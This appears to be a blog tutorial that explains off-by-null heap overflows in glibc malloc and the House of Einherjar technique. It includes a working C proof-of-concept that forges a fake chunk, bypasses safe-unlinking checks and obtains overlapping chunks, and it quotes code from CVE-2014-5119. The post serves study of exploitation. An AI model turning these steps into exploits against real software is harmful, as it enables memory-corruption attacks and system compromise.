In this post we will see how an off-by-null overflow into malloce'ed region can be exploited and some interesting GLIBC malloc features and behaviors.

Heap exploitation

Most vulnerabilities inside the heap lead to one of those 3 exploitation primitives:

every one of them can be exploited in a lot of different ways in order to gain other primitives such as arbitrary read, arbitrary write...

Heap exploitation can sound complicated but it is nothing more than leveraging the predictable behavior of glibc allocations and frees. An example of predictability are malloc allocation and reallocation after free, if the reallocation has the same size of the previus allocated chunk we can be sure that the new chunk will be taken from a specific bin list and positioned at the same address.

Another things we probably want to use are chunk pointers, if we can modify the forward and backward pointers of a free chunk we can control the location of the next allocation to gain arbitrary write

Off-By-Null

Off-by-one happens when we have a 1-byte buffer overflow, off-by-null specifically requires the extra byte to be null.

Let's take the code from The poisoned nul byte as an example

CVE 2014-5119 

  cp = __mempcpy (__stpcpy ((char *) newp->fname, runp->name),
  trans->name, name_len);
  if (need_so)
    memcpy (cp, ".so", sizeof (".so"));

In this code a buffer has been allocated with enough space for 4 chars including the x00 terminator, the vulnerability arises because ".so" starts copying a byte too far ahead

The question is of course, how a single null byte is exploited in order to gain arbitrary write?

Depends on where the buffer is located, in this case we are talking about a heap chunk.

Each chunk has its own metadata

Three least significant bits of size are used by the allocator and can greatly influence its behavior, specifically the P bit is used to indicate if the previous allocated chunk is in use (0x1) or no (0x0)

The technique described here abuse the fact that free() use those metadata for more efficient deallocations, if it is called on a chunk with the P bit set to 0x0 it will automatically think that even the previus chunk is freed and will perform a backward consolidation with both

Exploitation

Exploitation requires the ability to allocate/free at will in order to shape the heap in a more convenient way and obviously an off-by-one error

This is the code used for demonstration 


int main()
{
        setbuf(stdin, NULL);
        setbuf(stdout, NULL);

        // step1: allocate padding
        void *tmp = malloc(0x1);
        void *heap_base = (void *)((long)tmp & (~0xfff));
        size_t size = 0x10000 - ((long)tmp&0xffff) - 0x20;
        void *padding= malloc(size);

        // step2: allocate prev chunk and victim chunk
        void *prev = malloc(0x500);
        void *victim = malloc(0x4f0);
        malloc(0x10);

        // step3: link prev into largebin
        void *a = malloc(0x4f0);
        malloc(0x10);
        void *b = malloc(0x510);
        malloc(0x10);

        free(a);
        free(b);
        free(prev);

        malloc(0x1000);

        // step4: allocate prev again to construct fake chunk
        void *prev2 = malloc(0x500);
        assert(prev == prev2);

        ((long *)prev)[1] = 0x501;
        *(long *)(prev + 0x500) = 0x500;

        // step5: bypass unlinking
        void *b2 = malloc(0x510);
        ((char*)b2)[0] = '\x10';
        ((char*)b2)[1] = '\x00';  // b->fd <- fake_chunk
        void *a2 = malloc(0x4f0);
        free(a2);
        free(victim);
        void *a3 = malloc(0x4f0);
        ((char*)a3)[8] = '\x10';
        ((char*)a3)[9] = '\x00';

        // step6: add fake chunk into unsorted bin by off-by-null
        void *victim2 = malloc(0x4f0);

        ((char *)victim2)[-8] = '\x00';
        /* VULNERABILITY */

        free(victim);

        // step7: validate the chunk overlapping
        void *merged = malloc(0x100);
        memset(merged, 'A', 0x80);

        memset(prev2, 'C', 0x80);
        assert(strstr(merged, "CCCCCCCCC"));
}

Allocating initial chunks and unsorted bin sorting

The initial state of the heap need to have at least 3 chunk allocated, all too large for the fastbin.

Here prev = 0x5..010, victim = 0x5..520, a = 0x5..a40 and b = 0x5..f60

Now we free a, b and prev, they will end up inside the unsorted bin

Unsorted bin is used by glibc as an optimization strategy, often in the code several chunks are freed consecutively and will end up automatically in the unsorted bin

Unsorted bin as you can see in the image above is a double linked list where the header start inside the main arena of libc, this can be useful if you are trying to leak an address from the libc through the heap

Now we allocate a huge chunk (0x1000) in order to enable sorting of the unsorted bin, every chunk inside the unsorted bin will end up in the large bin

What happen when a big chunk is allocated? --> Glibc will try to satisfy this request looking first inside the tcache/fast bin then inside the unsorted bin, it will cross the unsorted bin and if it doesnt find the right chunk it will automatically sort them inside the right bin (small/large bin)

Preparing the fake chunk

Now it's time to realloc prev as prev2 and construct the fake chunk

Chunks inside the large bin in addition to having fd and bk pointer they also have fd_nextsize and bk_nextsize, so now that prev2 is been allocated where prev previously resides the situation is:

prev2 == prev, prev2->fd == prev2->fd_nextsize == a and prev2->bk == prev2->bk_nextsize == b

We are going to change the size of prev2 as first thing because the fake chunk is contained in prev and the size is smaller by 0x10

((long *)prev)[1] = 0x501

Not to make Glibc complain we will also change the prev_size of the next chunk after prev2, glibc check for size == prev_size(next_chunk)

*(long *)prev + 0x500) = 0x500

This is actually the address where victim's chunk reside

Right now the situation is:

fake_chunk->fd == a and fake_chunk->bk == b

We are using prev fd_nextsize and bk_nextsize as fd and bk for the fake chunk

Bypass unlinking mitigation

Now the next step is to manipulate the residual pointers in order to bypass safe unlinking mitigation later

Allocate b chunk again and overwrite the least significant 2 bytes of b->fd to make it point to the fake chunk

((char *)b2)[0] = '\x10'

((char *)b2)[1] = '\x00'

The full address: 0x0000555555560010. Now b->fd point to fake chunk (prev2)

Doing the same for a, first we need it to point to victim's chunk, in order to do that we can reallocate it and free it immediately after with victim chunk

This is the heap layout with all 4 chunks allocated

prev2 -- victim -- a2 -- b2

After freeing a2 and victim there are 2 chunk inside the unsorted bin and a->bck point to victim

Now reallocate a again and modify a->bck to make it point to the fake chunk

((char *)a3)[8] = '\x10'

((char *)a3)[9] = '\x00'

Now a->bck point to fake chunk

Why we need unlinking bypass

Glibc utilize the unlink macro in order to remove a chunk from a list

Unlink macro 

  FD = P->fd;   // forward chunk  
  BK = P->bk;   // backward chunk
                
  FD->bk = BK   // update forward chunk's bk pointer
  BK->fd = FD;  // update backward chunk's fd pointer

For the visual learners:

This macro update the fd and bk pointers of the chunks adjacent to the freed one

Before safe unlinking mitigation an attacker could have corrupted metadatas of a chunk P from a list in a way that P->fd and P->bk would point to a controlled memory region. The operations FD->bk = BK and BK->fd = FD in the macro were executed without any integrity chek

Now there is this mitigation inside the code

malloc.c 

  mchunkptr fd = p->fd;
  mchunkptr bk = p->bk;
    if (__builtin_expect (fd->bk != p || bk->fd != p, 0))
      malloc_printerr ("corrupted double-linked list");

The code check if bk of the forward chunk and fd of the backward chunk both points to P, this make it more difficult to create fake chunks

Triggering Off-By-Null

Now it's time to reallocate victim from the unsorted bin

As you can see the PREV_INUSE bit is setted to 0x1

Triggering the off-by-one error using a null byte:

((char *)victim2)[-8] = '\x00'

Before it was 0x0..501 because the PREV_INUSE was setted on, after the off-by-null the bit was cleared and setted to 0x0

Now if we free victim2, libc will think that even prev2 chunk (chunk before and the fake chunk) it's freed. It will backward consolidate victim2 with fake chunk by unlinking the fake chunk and the merged chunk will end up inside unsorted bin

_int_free() 

  if (!prev_inuse(p)) {         // if PREV_INUSE == 0x0
      prevsize = p->prev_size;
      size += prevsize;
      p = chunk_at_offset(p, -((long) prevsize));
      unlink(av, p, bck, fwd);      // Remove the previous chunk
  }

Remember that the previous chunk is our fake chunk, the unlinking will go well because:

First check: FD->bk == P

FD = P->fd = a, Next chunk (FD) is equal to P->fd, the a chunk

FD->bk = a->bk = fake_chunk, Check passed because a->bk = fake_chunk

Second check: BK->fd == P

BK = P->bk = b, Prev chunk (BK) is equal to P->bk, the b chunk

BK->fd = b->fd = fake_chunk, Check passed beacouse b->fd = fake_chunk

This is called House of Einherjar, it's an exploitation technique used to gain overlapping chunks and arbitrary pointer return

Chunk overlapping

Now inside the unsorted bin there is a single merged chunk, if this chunk is reallocated it will end up in place of the fake chunk because glibc think that there is a free valid chunk there. So we have merged == fake_chunk.

Doing a memset at merged chunk first and then at prev2 we can validate the overlapping

This is an example of how off-by-null + House of Einherjar can trick malloc to allocate 2 overlapping chunks and return an arbitrary pointer to fake chunk

Using overlapping chunks is possible to abuse other exploitation techniques like TCache poisoning to gain arbitrary write

Conclusion

Heap exploitation is a complex topic which i also haven't understood well yet, if you think i have made any mistakes please correct me

Useful links: